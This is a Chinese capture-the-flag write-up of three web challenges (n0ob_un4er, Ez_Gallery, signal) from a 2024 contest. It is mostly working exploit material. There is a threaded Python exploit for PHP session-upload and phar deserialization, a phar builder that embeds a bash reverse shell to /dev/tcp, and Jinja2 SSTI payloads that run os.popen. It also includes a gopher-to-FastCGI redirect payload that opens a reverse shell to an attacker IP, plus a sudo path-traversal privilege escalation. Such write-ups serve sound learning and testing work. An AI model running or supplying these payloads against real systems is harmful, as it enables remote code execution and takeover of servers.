这四道题目Jasper大佬都做了镜像可以直接拉取进行复现
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
n0ob_un4er
这道题没有复现成功, 不知道为啥上传了文件, 也在 /tmp目录下生成了sess_PHPSESSID
的文件, 但是就是无法写入内容, 文件的内容一直都是空白, 也直接用python的脚本一键运行, 显示了恶意phar已copy到/tmp/tmp.tmp
, 但依旧没啥用, 搞不明白, 所以仅记录了解一下整个的一个过程, 加深了解session文件的利用
<?php
$SECRET = `/readsecret`;
include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
function __destruct() {
echo "Admin can play everything!";
eval($this->code);
}
}
function game($filename) {
if (!empty($filename)) {
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}
function set_session(){
global $SECRET;
$data = serialize(new User("user"));
$hmac = hash_hmac("sha256", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data);
if ( $data->role === "user" ){
game($_GET["filename"]);
}else if($data->role === "admin"){
return new Admin($_GET['code']);
}
return 0;
}
if (!isset($_COOKIE["session-data"])) {
set_session();
highlight_file(__FILE__);
}else{
highlight_file(__FILE__);
check_session();
}
无法直接通过session-data伪造admin身份进行命令执行( 因为使用了hmac-sha256签名算法, 且无法获取到$SECRET, )
开始能用的就是只有copy, 而copy是可以使用phar伪协议的, 只有能够反序列化Admin类就可以RCE, 所以要想到是利用phar打反序列化
phar反序列化需要有文件上传的点, 这里没有, 但可以将phar编码为字符串进行写入到文件里面去
所以需要找一个可控的文件, 一般可控的文件有临时文件, 日志文件, session文件, 但这里设置了open_basedir
, 也就无法利用日志文件
临时文件无法知道文件名, 也无法利用, 所以这里可用的就是session文件了, 并且这里php版本为7.2,这个版本就算不开启session,只要上传了文件,并且在cookie传入了PHPSESSID,也会生成临时的session文件
最终思路:
上传文件, 然后在session的临时文件上写入编码后的phar文件, 然后利用filter
伪协议将phar文件的内容还原写到 /tmp/tmp.tmp文件中, 最后利用phar伪协议解析, 触发反序列化进行 RCE
上传文件: php upload process可以在/tmp下生成部分内容可控的sess_<sessionid>
文件
要有 PHPSESSID
在这个session文件里面开头都会存在 upload_proccess_
利用到php exit死亡绕过的知识点, 将不可控的部分消除掉
可控内容之前的upload_process_
字段,添加aaaaaa
后,三次base64即可置空
可控内容之后,用string.strip_tags
过滤器可以全部清除掉,只需在可控部分之后加个<
即可
最终payload构造:: aaaaaa
+base64_encode(base64_encode(base64_encode(payload))) + <
这个payload是用于放在文件上传的PHP_SESSION_UPLOAD_PROGRESS
下的内容
payload触发:
?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/[PHPSESSID]
到这里就实现了/tmp/tmp.tmp任意写
然后要构造phar文件内容
<?php
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
}
@unlink("exp.phar");
$phar = new Phar("exp.phar"); // 后缀名必须为 phar,生成之后可以修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("jasper", "123"); // 添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
$pharContent = file_get_contents('exp.phar');
$b64 = base64_encode(base64_encode(base64_encode($pharContent)));
print("bbbbbb".$b64.htmlspecialchars('<'));
?>
python脚本
import io
import requests
import threading
import time
sessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"
# 全局事件,用于协调线程退出
stop_event = threading.Event()
def write_session_file(session):
while not stop_event.is_set():
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
url,
data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)
def copy_to_tmp(session):
payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessid
while not stop_event.is_set():
res = requests.get(url + payload, cookies=session.cookies)
if "Well done!" in res.text:
print("[+] 恶意phar已copy到/tmp/tmp.tmp ...")
else:
print("[-] 拷贝失败!")
if "flag" in res.text or "D0g3xGC" in res.text:
stop_event.set() ## 设置退出事件
break
def unser_phar(session):
payload = "?filename=phar:///tmp/tmp.tmp/jasper"
while not stop_event.is_set():
res = requests.get(url + payload, cookies=session.cookies)
if "flag" in res.text or "D0g3xGC" in res.text:
print(res.text)
print("[+] 利用成功!")
stop_event.set() ## 设置退出事件
break
session = requests.Session()
# 创建并启动线程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()
copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()
unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()
# 主线程保持活跃,等待子线程结束
while not stop_event.is_set():
time.sleep(1)
Ez_Gallery
admin/123456登录进去
任意文件读取, 读取源码 app.py
import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import os
class User:
def __init__(self, username, password):
self.username = username
self.password = password
users = {"admin": User("admin", "123456")}
def root_view(request):
# 重定向到 /login
return HTTPFound(location='/login')
def info_view(request):
# 查看细节内容
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
file_name = request.params.get('file')
file_base, file_extension = os.path.splitext(file_name)
if file_name:
file_path = os.path.join('/app/static/details/', file_name)
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
print(content)
except FileNotFoundError:
content = "文件未找到。"
else:
content = "未提供文件名。"
return {'file_name': file_name, 'content': content, 'file_base': file_base}
def home_view(request):
# 主路由
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
detailtxt = os.listdir('/app/static/details/')
picture_list = [i[:i.index('.')] for i in detailtxt]
file_contents = {}
for picture in picture_list:
with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:
file_contents[picture] = f.read(80)
return {'picture_list': picture_list, 'file_contents': file_contents}
def login_view(request):
if request.method == 'POST':
username = request.POST.get('username')
password = request.POST.get('password')
user_captcha = request.POST.get('captcha', '').upper()
if user_captcha != captcha_store.get('captcha_text', ''):
return Response("验证码错误,请重试。")
user = users.get(username)
if user and user.password == password:
request.session['username'] = username
return Response("登录成功!<a href='/home'>点击进入主页</a>")
else:
return Response("用户名或密码错误。")
return {}
def shell_view(request):
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
expression = request.GET.get('shellcmd', '')
blacklist_patterns = [
r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*'
]
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result is not None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')
def main():
session_factory = SignedCookieSessionFactory('secret_key')
with Configurator(session_factory=session_factory) as config:
config.include('pyramid_chameleon') # 添加渲染模板
config.add_static_view(name='static', path='/app/static')
config.set_default_permission('view') # 设置默认权限为view
# 注册路由
config.add_route('root', '/')
config.add_route('captcha', '/captcha')
config.add_route('home', '/home')
config.add_route('info', '/info')
config.add_route('login', '/login')
config.add_route('shell', '/shell')
# 注册视图
config.add_view(root_view, route_name='root')
config.add_view(captcha_image_view, route_name='captcha')
config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')
config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')
config.add_view(login_view, route_name='login', renderer='login.pt')
config.add_view(shell_view, route_name='shell', renderer='string', permission='view')
config.scan()
app = config.make_wsgi_app()
return app
if __name__ == "__main__":
app = main()
server = make_server('0.0.0.0', 6543, app)
server.serve_forever()
黑名单:
blacklist_patterns = [
r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\\..*', r'.*soft.*', r'.*%.*'
]
没有回显, 需要一些方法去拿到回显
官方wp:
{{cycler.__init__.__globals__. __builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response, 'text',__import__('os').popen('whoami').read()))",{'request': request})}}
过滤了点 .
, 需要绕过, 用[ ]
绕过
以及用getattr
绕过 request.add_response_callback
==> getattr(request,'add_response_callback')
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')
(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}
其他大佬的方法:
{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']
('sys')['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']
['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}
Jinja2-SSTI 新回显方式技术学习
从这道题目去学习了一下Jinja2-SSTI 新回显方式技术
环境搭建
app.py
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
flask中的Server头回显
响应包里面的server头打印了Werkzeug和python的版本号, 可以利用它的值进行回显
大佬们的文章分析的很清楚, Server
头的值是从self.version_string()
出来的,而 version_string
方法,其实就是直接将server_version
属性和sys_version
属性拼接在一起的
以属性的方式存放于类中, 那么就可以通过一些赋值的方式将我们的代码或者是命令执行的回显放在这个这个属性中, 从而随着请求头的send, 我们需要的回显就会出现在响应包里面
但是 WSGIRequestHandler
的server_version
其实是方法
class WSGIRequestHandler(BaseHTTPRequestHandler):
server: BaseWSGIServer
@property
def server_version(self) -> str: # type: ignore
return self.server._server_version
是一个方法而不是属性, 好像无法通过利用 setattr
这种去进行赋值(因为lambda匿名函数表达式不被jinja2引擎解析)
但是它前面又有一个 @property
==> 它把方法包装成属性,让方法可以以属性的形式被访问和调用
所以我们可以直接给他赋str类型的值
关键是需要调用到 werkzeug.serving.WSGIRequestHandler
类, 使用 setattr
控制它的server_version
属性的值
payload
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
# 这里的g是 flask 提供的一个全局变量
# sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块, 从这里获取所需要的werkzeug模块, 从而获取到WSGIRequestHandler 对象
同理也可以换成 sys_version
HTTP协议回显
看到 send_response 方法
def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.
Also send two standard headers with the server software
version and the current date.
"""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())
发送一些信息, 其实就是回显包里面的那些信息,
看到 send_response_only 方法
def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':
if message is None:
if code in self.responses:
message = self.responses[code][0]
else:
message = ''
if not hasattr(self, '_headers_buffer'):
self._headers_buffer = []
self._headers_buffer.append(("%s %d %s\r\n" %
(self.protocol_version, code, message)).encode(
'latin-1', 'strict'))
可以看到这三个值都是页面上回显的值, 那么只要能够控制他们的值, 就可以得到我们想要的回显了
首先 protocol_version
它是 werkzeug.serving.WSGIRequestHandler
里面的一个属性,
所以需要获取到WSGIRequestHandler
对象
sys
模块的 modules
属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块
而获取sys模块的方式有很多种, 可以从__spec__
的全局变量中获取
{{lipsum.__spec__.__init__.__globals__}}
最终获取 WSGIRequestHandler 对象里面的 protocol_version 属性
{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler.__dict__}}
然后就是使用 setattr
方法控制 protocol_version 属性的值
payload
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo xpw').read())}}
参考文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2DfosHKwd43x
https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%#toc-7
signal
网站进去一个登录框, dirsearch扫一下目录
有一个/.index.php.swp
最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的
拿到一个账号密码: guest:MyF3iend
登录进去, 观察到它的 url
存在一个任意文件读取漏洞, 因为之前扫目录可用扫到一个 admin.php
,直接读取会跳转到 index.php
, 说明被执行了, 所以这里可以猜测是用了include
函数来包含的 , 需要使用php伪协议绕过一下读取源码, 但是也过滤了挺多, 二次编码一下绕过
?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php
读取到admin.php
<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}
$url = $_POST['url'];
$error_message = '';
$page_content = '';
if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content'.curl_error($ch);
}
curl_close($ch);
}
}
?>
读一下guest.php, 存在waf的内容
<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
$_SESSION['error'] = 'Please fill in the username and password';
header('Location: index.php');
exit();
}
if (!isset($_GET['path'])) {
header("Location: /guest.php?path=/tmp/hello.php");
exit;
}
$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
echo "Don't do this";
}else{
include($path);
}
?>
还是需要进入admin.php
里面去, 需要拿到它的账号密码
在最初的登录界面那里可以发现一个 StoredAccounts.php
读取一下试试
StoredAccounts.php
给了admin的密码
<?php
session_start();
$users = [
'admin' => 'FetxRuFebAdm4nHace',
'guest' => 'MyF3iend'
];
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
if (isset($users[$username]) && $users[$username] === $password) {
$_SESSION['logged_in'] = true;
$_SESSION['username'] = $username;
if ($username === 'admin') {
header('Location: admin.php');
} else {
header('Location: guest.php');
}
exit();
} else {
$_SESSION['error'] = 'Invalid username or password';
header('Location: index.php');
exit();
}
} else {
$_SESSION['error'] = 'Please fill in the username and password';
header('Location: index.php');
exit();
}
登录admin用户, 存在一个url参数打sstf, 但是只能限定是 https
, vps要https打302, 没有域名的话借助ngrok工具, 在服务器上面使用这个工具可以创建一个临时网站
ngrok: https://download.ngrok.com/linux?tab=download
用于本地服务跳转的代码:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl = 'http://[ip]/302.php'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('127.0.0.1', port=8080, debug=True)
ngrok用于搭建临时网站:
ngrok http 8080
将这个传入url, 可以看到内容
接下来就是利用工具生成payload打fastcgi
改一下app.py
的url
可以看到已经执行了命令
那么接下来就是反弹shell了
同理app.py也相应的更改:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/[ip]/6666%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('127.0.0.1', port=8080, debug=True)
后面本来还有一个提权, 但是这个环境好像没有, 拿别的师傅的截图记录一下
sudo cat /tmp/whereflag/../../../root/flag
参考文章:
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
https://www.cnblogs.com/Litsasuk/articles/18593334#%E5%87%BA%E9%A2%98%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/dghh/p/18598149